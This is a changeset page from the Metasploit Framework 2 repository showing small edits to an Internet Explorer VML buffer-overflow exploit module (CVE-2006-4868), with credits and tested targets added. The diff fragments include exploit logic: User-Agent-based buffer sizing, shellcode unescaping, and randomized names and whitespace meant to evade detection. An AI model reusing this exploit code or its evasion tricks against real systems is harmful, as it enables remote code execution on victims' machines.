Changeset 3959
- Timestamp:
- 09/25/06 19:57:03 (2 years ago)
- Files:
-
- framework2/trunk/exploits/ie_vml_rectfill.pm (modified) (11 diffs)
Legend:
- Unmodified
- Added
- Removed
- Modified
- Copied
- Moved
framework2/trunk/exploits/ie_vml_rectfill.pm
r3958 r3959 29 29 [ 30 30 'H D Moore <hdm [at] metasploit.com>', 31 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', 32 'Mr.Niega <Mr.Niega [at] gmail.com>', 33 'M. Shirk <shirkdog_list [at] hotmail.com>' 31 34 ], 32 35 … … 35 38 This module exploits a code execution vulnerability in Microsoft Internet Explorer using 36 39 a buffer overflow in the VML processing code (VGX.dll). This module has been tested on 37 Windows XP SP0and Windows XP SP2.40 Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. 38 41 }), 39 42 … … 56 59 'Refs' => 57 60 [ 58 ['CVE', '2006-4868' ],61 ['CVE', '2006-4868' ], 59 62 ['BID', '20096' ], 60 63 ['OSVDB', '28946' ], … … 69 72 }; 70 73 71 72 74 sub new { 73 75 my $class = shift; … … 131 133 $agent = $val if $var =~ /User-Agent/i; 132 134 } 133 135 134 136 my $buflen = 1024; 135 137 136 138 # Windows XP SP2 / 2003 SP1 requires long buffer 137 139 if ($agent =~ /Windows NT 5\.[123]/) { … … 149 151 my $target = $self->Targets->[$self->GetVar('TARGET')]; 150 152 my @vml_elements = qw{ rect roundrect line polyline oval image arc curve }; 151 153 152 154 my $shellcode = Pex::Utils::JSUnescape($self->GetVar('EncodedPayload')->Payload); 153 155 my $addr_long = unpack('H*', pack('V', $target->[1])); … … 156 158 my $xmlns = Pex::Text::LowerCaseText(int(rand(30)+2)); 157 159 my $vmlelem = $vml_elements[ rand(scalar(@vml_elements)) ]; 158 160 159 161 my $var_buffer = Pex::Text::LowerCaseText(int(rand(30)+2)); 160 162 my $var_shellcode = Pex::Text::LowerCaseText(int(rand(30)+2)); … … 162 164 my ${var_x} = Pex::Text::LowerCaseText(int(rand(30)+2)); 163 165 my ${var_i} = Pex::Text::LowerCaseText(int(rand(30)+2)); 164 166 165 167 my $data = qq| 166 168 <html xmlns:${xmlns} = "urn:schemas-microsoft-com:vml" > … … 196 198 # Mangle the whitespace... 197 199 $data =~ s/\s+/RandomSpaces()/ge; 198 200 199 201 return $data; 200 202 } … … 204 206 my $res; 205 207 my $len = rand(100)+20; 206 208 207 209 while (length($res) < $len) { 208 210 $res .= $spaces[ rand(scalar(@spaces)) ]; 209 211 } 210 212 211 213 return $res; 212 214 } … … 264 266 } 265 267 1; 268
